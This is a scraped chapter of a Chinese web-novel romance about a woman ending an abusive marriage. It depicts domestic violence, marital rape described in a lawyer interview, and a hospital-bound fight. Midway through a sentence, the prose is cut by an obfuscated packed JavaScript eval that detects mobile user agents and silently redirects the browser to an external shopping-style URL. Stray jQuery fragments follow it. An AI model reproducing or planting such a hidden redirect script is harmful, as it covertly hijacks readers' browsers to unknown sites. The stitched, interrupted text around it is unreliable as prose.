默认冷灰
24号文字
方正启体

36.第 36 章

作者:幻想时刻本书字数:K更新时间:
    再次站在这片曾倾注了数年真情实感的地方,邱园缓缓环目四顾,发现自己并没有想象中的怀念,甚至连情绪波动也没有几分。


    保姆小顾刚刚把闵雅君送到房间,看见邱园在打量屋子,就笑着解释:“您走后,林先生把您的东西都留着呢,您看那盆您买的橡皮树,长得特别好呢。”


    知道小顾是好意,邱园就忍住没说,怎么还整出怀念亡妻的架势了呢。


    说话间,二楼楼梯上缓缓走下一个人。罗纹穿着件月白色的绸质家居衬衫,唇上是恰到好处的淡玫色。


    迎着她淡然的目光,邱园忽然想起,好像从来没见过她失态,好厉害,但邱园想了下,还是不要变成这样的好。今天是儿童节,只有童真值得保护和庆祝,太冷静自持的,不过是过度社会化的。


    她站起来,拿出小辈的态度,平道:“罗姨。”


    罗纹目光落在她身上,点了点头,很快扫向她身侧一身正装的丁渊。


    邱园笑了:“我说服不了您,就专门请人来了。”


    落座后,丁渊开门见山:“伯母您好,我叫丁渊,是邱女士委托来向您说明的,如果邱女士与林先生的债务纠纷真走到对簿公堂那一步,对双方都不轻松......”


    罗纹欠身示意她在听。


    “整个事情的来龙去脉,”丁渊继续道,“您儿子作为核心当事人,免不了要一遍遍被传唤和质询。”


    丁渊顿了顿,给罗纹一点时间,也是一种谈判的技巧。


    “至于邱女士这边,”丁渊想着合适的词汇,邱园适时出声,“罗姨。”


    她垂着眼,想了想还是站起来,在罗纹不解的目光里轻轻掀开衣角。


    “您不是不理解那天我为什么半夜非要回娘家、回去之后还病了很久吗?”


    “这就是原因。”


    侧腰处几块紫棕的伤块丑陋地暴露出来,丁渊没有忍心再看,扭过头去,而罗纹,目光里难得划过几分震颤。


    那是烫伤,如果仔细辨认的话,能看出来是烟头烫伤。


    “你什么意思?”


    丁渊适时插入:“如果邱女士被迫要寻求其他法律途径来平衡局面,或者提出反制主张……这局面,恐怕就复杂了,对谁都没好处。您说呢?”


    罗纹听明白了,笑了:“家暴?就凭这点儿东西?有证据吗?”


    ……


    视频初始,镜头摇摇晃晃,咔哒一声被架好。


    画外音:“您坐。”


    镜头前出现邱园,她坐在一边,只有一边的清晰干净的下颌线出现在镜头里。她挽了挽头发,细白的脖颈白得几近过曝。


    她沉默了一会儿,对面的人也没有催她,


    “丁律师,你知道我的情况,分居已满一年多,但最近又出了一些事情,导致对方不同意协议离婚。所以我才想,是不是还有别的办法。”


    她顿了下,“我是最近才知道,自己受到的伤害是可以寻求法律援助的。以前也没想太多,不过就是性格不合,家庭不合。”


    “直到最近,我才知道‘婚内□□’这个词。”


    她停顿了一下,似乎在确认这个词的分量。


    钟应隔着如潮的情绪,无比清晰地想象到她的样子,她直视律师,眼睛里带着破碎后的平静。


    四下安静的漆黑里,那个词带着法律的、冰冷的、非人的精确性,击穿屏幕,炸开在钟应脑海里。


    “我是偶然听别人说起来的,然后就去查了书,才知道那就叫□□。在我自己的家里,在我的床上。”


    细微的底噪里,两个人都沉默了一阵。


    他几乎眩晕着踩下油门。


    “邱女士,我明白了。我需要了解一些具体情况,这不仅是为了判断离婚的走向,更重要的也是看看是否具备构成刑事案件的因素。您放心,我们的谈话是保密的。”


    “我明白。”


    “好。如果我没理解错您之前的意思的话,您是因为这件事才决定分居的是吗?”


    “对。”邱园的声音听不出是情绪。


    “麻烦您详细说一下。”


    “分居前的那一年,家里催婚很急。”她说得很慢,拼凑起痛苦的记忆并不是一件简单的事。


    “那天晚上我和他因为这个事情吵架,他出去喝酒,我因为感冒头疼,睡得早。然后他回来以后…因为喝了酒,力气很大,我反抗了,嗓子哑到喊不出来,推他,求他……他完全疯了,打了我一巴掌,把烟头按在我身上。”


    邱园停住,镜头里抿了抿嘴唇,很久没说话。丁律师也没有追问,邱园回过神来,还冲她笑了下。


    “那您是否留下过任何……身体上的伤痕?比如照片?或者……有没有去看过医生?或者向其他人,比如朋友、家人,甚至警察,寻求过帮助或倾诉过?”


    邱园轻轻摇头:“那个时候我不知道,丈夫这样做也是犯罪……所以什么也没有。但如果仔细想一下,结束以后我吐了,想拜托保姆买替我买紧急避孕药,但她已经休息了,我就自己出了门,买了避孕药和烫伤膏,然后去住了酒店。药店和酒店里应该留有记录。”


    “家人朋友的话,我谁也没说,我怕大家担心我。”


    “……不过我后来有打过心理咨询热线,但是没人接,估计是打错号了,我就放弃了。”


    丁渊理解地点点头:“婚内□□这个概念,在法律实践中确实存在,但认定起来确实比陌生人□□更为复杂。核心在于是否有充分证据证明他违背了您的意志,使用了暴力、胁迫或其他手段。”


    “我明白,证明违背了我的意志这一点很难。”


    “先生,先生您不能进去,您没有许可不能进去,保安!保安!”


    “您刚才提到的那次经历,有明确拒绝,有身体反抗,有留下的烫伤,可惜当时没有及时报警验伤,没有医疗记录,也没有清晰的物证照片。旁人的口头证言,可以作为辅助证据,但证明力也相对有限。”


    “对,我查过书,我明白即使确定了那是□□,现在也很难告他,很难立案。”


    “我必须要坦诚地告诉您现实的困难。尤其是这件事隔了一段时间、缺乏即时物证和人证的,实际上立案难度很大。”


    会议室的门被人一脚踹开,在座之人讶然皆抬头,为首的林盛鸣不悦的目光还未送抵来人,电光石火间,被人掀翻在地。


    “……我都知道,我提出来只是因为,我想快点离婚,我不想打官司,我只是想快点离婚,如果这件事能稍微震慑林盛鸣,就够了。如果可以的话,我希望您能作为我的代表,跟我婆婆谈一谈。”


    ……


    “家丑也要讲求不外扬,邱园,我没想到你是这种人。”


    邱园闻言脸上一片惨淡,说不难过是假的。她也笑了笑:“罗姨,法律看证据,舆论不看,但有时候,这两个东西同样有用。”


    罗纹鼻里“嗤”了一声:“你蛮聪明的,小邱。可是做人不能这么忘恩负义,也不能恬不知耻。”


    “是吗?”邱园笑了,起身睨她,“穷人的面子不值钱,可您儿子的,值钱。我给您两天时间,想好了随时联系我,好吗?”


    ……


    钟应没给任何人反应的机会,一拳过去力道大得让林盛鸣整个人横飞出去,撞翻了身后的桌椅。周围的人尖叫着四处蹿开。


    “天啊,你们快把人拉开啊,这人疯了吗?”


    他弯腰,一把揪住林盛鸣的衣领,迫使对方仰起头。指骨因为用力而泛白,眼神里的暴戾几乎要溢出来。


    林盛鸣揉了把下巴,不可思议:“你疯了?你干什么…”


    拳头砸在皮肉上的闷响一声声炸开,鼓点一样敲在人耳膜上,带着骨血相击的钝痛,听得围观者头皮发麻。


    林盛鸣被按在桌沿,又一记重拳便狠狠捣在他腹间,周围的人才后知后觉地惊醒,几个男人慌忙上前去拉,“别打了!会出人命的!”可他们的手刚搭上钟应的胳膊,就被他猛地甩开,力道大得让人踉跄后退。直到有人反应过来,顺手举起桌上的玻璃水杯砸下去。


    碎裂的脆响炸开时,后脑一阵灼痛,钟应停顿的瞬间,千万股气息顺着心脏冲上来,将他窒住。


    林盛鸣心头暴怒,气红了眼,借力起来便朝钟应抡过一拳,钟应却没有反应。


    一个眼尖的女员工察觉出不对:“不是,他、他怎么了?”


    钟应半弓腰,脸色以肉眼可见的速度褪去血色,身体不受控制地发抖。


    周围的声音仿佛隔了层水,模糊不清,只有心脏疯狂抽搐的痛感无比清晰。


    下一秒,世界在天旋地转后,陷入黑暗。


    ……


    怎么形容邱园走出林家别墅的心情呢……简直就是神清气爽兴高采烈喜气洋洋心花怒放眉开眼笑欢天喜地,一想到罗纹最后那个脸色,那个跟吃了苍蝇一样说让她过两天去找林盛鸣的语气,邱园就喜不自胜,走路都感觉轻飘飘的,夜里九点就上床,一口气睡到第二天大中午。


    她联系林盛鸣,接电话的依旧是他的助理,助理语焉不详,邱园倒是没多想,挂了电话也不急,她了解罗纹,这个人最瞧不上出尔反尔,所以也一定不会骗她。


    她然后又给罗懿青去了电话,昨天是茂茂的生日,但邱园因为有事陪不了孩子,想着今天稍微弥补一下,把生日礼物送出去。


    电话接通后,罗懿青先道:“邱姐?”


    “懿青,你小姨同意离婚了。”


    话一出口邱园有些好笑,这么说好像跟她结婚的是罗纹而不是林盛鸣一样。


    “是吗,太好了。”罗懿青道,语气有些平。


    邱园沉浸在自己的喜悦里,没注意电话那头的反常,“不好意思啊,昨天我实在是脱不开身,错过了小宝的生日,打电话是想问问,看她愿不愿意今天和我出去,或者来我家,我爸爸盼她来呢。”


    “那太好了,我今天刚好比较忙。”罗懿青嘴上应着,心里却很复杂。


    为了邱园,昨夜钟应对林盛鸣大打出手,林盛鸣倒是还好,面部轻伤,倒是钟应自己,因为急性心肌缺血进了icu,到现在还没醒。


    作为唯一一个知道掌握了所有信息的人,罗懿青现在既觉得对不起邱园,又担心钟应的身体,更不知道该怎么解释钟应打人的原因,更更糟糕的是,她不知道该如何面对罗纹。


    “懿青?你在忙吗?”听到电话那头杂音很多,邱园问。


    罗懿青回过神,余光瞥见罗纹探完病人过来,她一个激灵,赶紧道:“啊没事,那待会儿我让人把茂茂给你送过去,我这边就先去忙了。”


    挂了电话匆匆跟上去,只看一眼就知道罗纹有多生气。从小到大罗懿青闯过那么多祸,还是第一次见罗纹这个反应。


    “大哥怎么样?”


    罗懿青心里是真难受:“我今天才知道大哥的心脏以前就做过手术,你说咱们做家人的却都不知道。”


    “懿青,怎么回事?”罗纹打断她,睨着她,周身散发出的压迫感不怒自威。


    罗懿青心头一缩,仍强装镇定:“我不知道啊,吵架了?你说大哥也真是的。”


    “罗懿青。”声量依旧平稳,却让罗懿青的心都不自觉提起来几分。


    罗纹气笑了:“盛鸣不说,你也不说。”


    罗懿青稳着声音:“我是真不知道。”


    “昨天你们没在一起?”


    “在一起,不过吃完晚饭他就回去了。”


    “他来公司开的是你的车。”


    “我借给他的,他坐飞机回来的嘛。”


    罗懿青面不改色,一边犹豫该不该瞒,一边又不由自主说谎。


    她想把话题往钟应的病情上引,又怕罗纹觉得她偏心,怎么放着挨打的二哥不关心,毕竟罗纹不满她和钟应关系更好很久了。


    “行了,进去看看他吧。”


    “我送您下楼。”


    “不用,盛鸣就在楼下。”


    “二哥没事儿吧?”


    “现在想起来问了?”


    罗懿青笑笑:“我这不是知道大哥肯定对不会对二哥下重手嘛…”


    ……


    陈国丰听说茂茂那个活宝要来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704043|184847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,特地出门买了些新奇玩意儿,他也喜欢小孩,但知道大女儿对催生孩子特别忌讳,所以他提都不敢提,只能在茂茂身上抒发一下充沛的感情。


    保姆将人送到胡同外面,陈国丰就自己推着轮椅在外面等着,茂茂也是个暖心的,一见到爷爷就跑过来,扎进他的怀里。


    “哎呦好宝。”


    邱园笑着去牵她:“五岁第一天快乐呀,茂茂公主。”


    茂茂乖乖由着她牵:“舅妈好。”


    “上回你说想做冰糖草莓,你陈爷爷今天就买好了食材,你想做吗?”


    “想做。”


    邱园闻言却蹲下来,平视她:“怎么了小宝,哪里不舒服吗?”


    她总觉得茂茂今天兴致不太高。


    “我昨天有实在推不掉的事情,对不起啊没能陪你一起过生日…”


    “没关系的舅妈。”茂茂摇摇头。


    “那是怎么了?嗯?”


    茂茂盯着鞋尖,沉默了一阵才说:“我没事的。”说完就向陈国丰跑去,让他和自己一起玩。


    邱园以为小孩子的情绪一会儿来一会儿走的,应该也不要紧,没想到她把买的生日礼物送过去时,茂茂依旧不太高兴,只是很礼貌地说了谢谢。


    这下就连陈国丰也觉得不太对。邱园使了个眼色让他走开,问茂茂:“小宝,有什么事还不能跟小舅妈说吗?”


    茂茂看她一眼,眼睛里不掩担忧:“小舅妈…早上、早上妈妈接了个电话就急着出门了,小晶阿姨说她去医院了,我想让小晶阿姨送我去找大舅舅,小晶阿姨却不同意。”


    “小舅妈,你说,不会是大舅舅生病了吧?”


    邱园心里莫名一沉,她把茂茂拉到怀里,摸她的小脑袋,安抚道:“不会的,你看你大舅舅身体那么好,肯定没事的…你大舅舅回来了吗?”


    “都怪我昨天他刚下飞机我就拉着他玩,妈妈说他本来就很累。”


    “不会的,我们大人的精力是很多的哦,茂茂不用担心这个。”


    “那…那小舅妈可以帮我问问大舅舅吗…”


    邱园沉默了一下,却看茂茂实在是自责,拒绝的话就说不出口了。


    “…好,我帮你问问吧,你先好好和陈爷爷玩儿,好不好?”


    茂茂乖乖地点了头。


    邱园跟陈国丰说了声后出门打电话,将近半个小时,那边一直没有回应。


    往常无法立刻拨回来时,钟应会给她发一个讯息表示,但这次什么都没有。


    邱园心里不好的预感越来越强烈,早上罗懿青的电话那头确实异常的吵,她想了想,给罗懿青打过去。


    说实话罗懿青是不想接的,但是怕万一是茂茂出了什么紧急情况,她还是接了。


    “喂邱姐,茂茂不乖吗?”


    “不是的,是她担心…是钟应出了事,心情一直不太好,我才来问问你…”


    “哦,能有什么事儿啊,都是茂茂瞎想,我来医院看同事了而已。”


    邱园松了一口气:“…哦原来是这样。”


    挂了电话后,心里那股难以忽视的焦躁却降不下去,邱园再次尝试联系林盛鸣,这会儿他应该已经和罗纹谈过了。


    没想到这一回接电话的是他本人。


    邱园临了发现不知道怎么组织语言,他也不急,静静等了一瞬。


    “我——”,“大哥病了,在三院。”


    “怎么回事,好端端地住院了?”


    “你过来看他吧。”


    邱园喉咙突然发紧,还在想怎么说,听到那边已经道:“你会过来吧?”


    邱园反问:“很严重吗?”


    他避而不答:“他会想见你。”


    “你什么意思?”


    林盛鸣摁了电话,抬手揉了揉眉心。


    一股屈辱、愧疚、愤恨、迷茫又无能为力的情绪在心头萦绕,混合身上虽不强烈但持续存在的痛感,让他从一开始的生气,到……只能靠在医院冰凉的长椅上,连动弹的力气都消散殆尽。


    会议室里的同事手忙脚乱地把人送到医院,他冷眼旁观着,助理愤愤不平地叫嚷着报警,林盛鸣不应声,看着一地狼藉,盛怒之余,隐隐觉得这件事一定有个原因,钟应这么做,一定有一个原因。


    直到罗纹联系他,他才知道是与邱园有关,为了邱园,钟应可以不顾兄弟情义,也可以不顾自己的心脏疾病。


    林盛鸣承认那件事错的是他,但他不喜欢,也不需要是钟应来审判他。


    “跟谁打电话?”


    罗纹冷不丁出现,问他。


    “没谁。”


    她在他旁侧坐稳:“这么大的丑事,你准备怎么办?”


    林盛鸣不耐:“再说吧。”


    “我不知道你们有什么误会,但他千不该、万不该打你。”


    林盛鸣双肘撑在膝盖上,搓了一把脸。


    “妈看看伤处。”


    “不用——”林盛鸣抗拒着,一站起来,就看见在护士站询问的邱园,她表现一切正常,但林盛鸣多了解她。


    邱园表现越冷静,心里其实就越不冷静。


    见儿子忽然定定瞧着一处,罗纹顺着视线望去,那个女人怎么会来?正皱眉要问,却在看见儿子的表情后,有一丝后知后觉的恍然大悟。


    那个猜想在心中一闪而过,如此强烈。


    邱园和茂茂也看见了她们,邱园想了下,正要抬腿朝这边走来,却被茂茂拉着手扯进病房。


    林盛鸣在她准备迈步过来瞬间,也下意识地抬了步子想过去,最后却又忍住,捏住拳低了低头。


    罗纹几乎了然。


    “后悔了?”


    林盛鸣不作声,却又听得罗纹道:“是后悔伤害她,还是后悔没发现?”


    林盛鸣猛然抬首看她。


    但她并不关心谁在乎谁,谁为了谁,她只是淡淡看了眼儿子,良久方道:“放不下,就不该招惹别的女人,既然放下了,就别再让嫉妒心拖累你。记住,人在任何时候都要看清自己的心。”


    林盛鸣颓然地塌了塌肩,痛苦不已。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)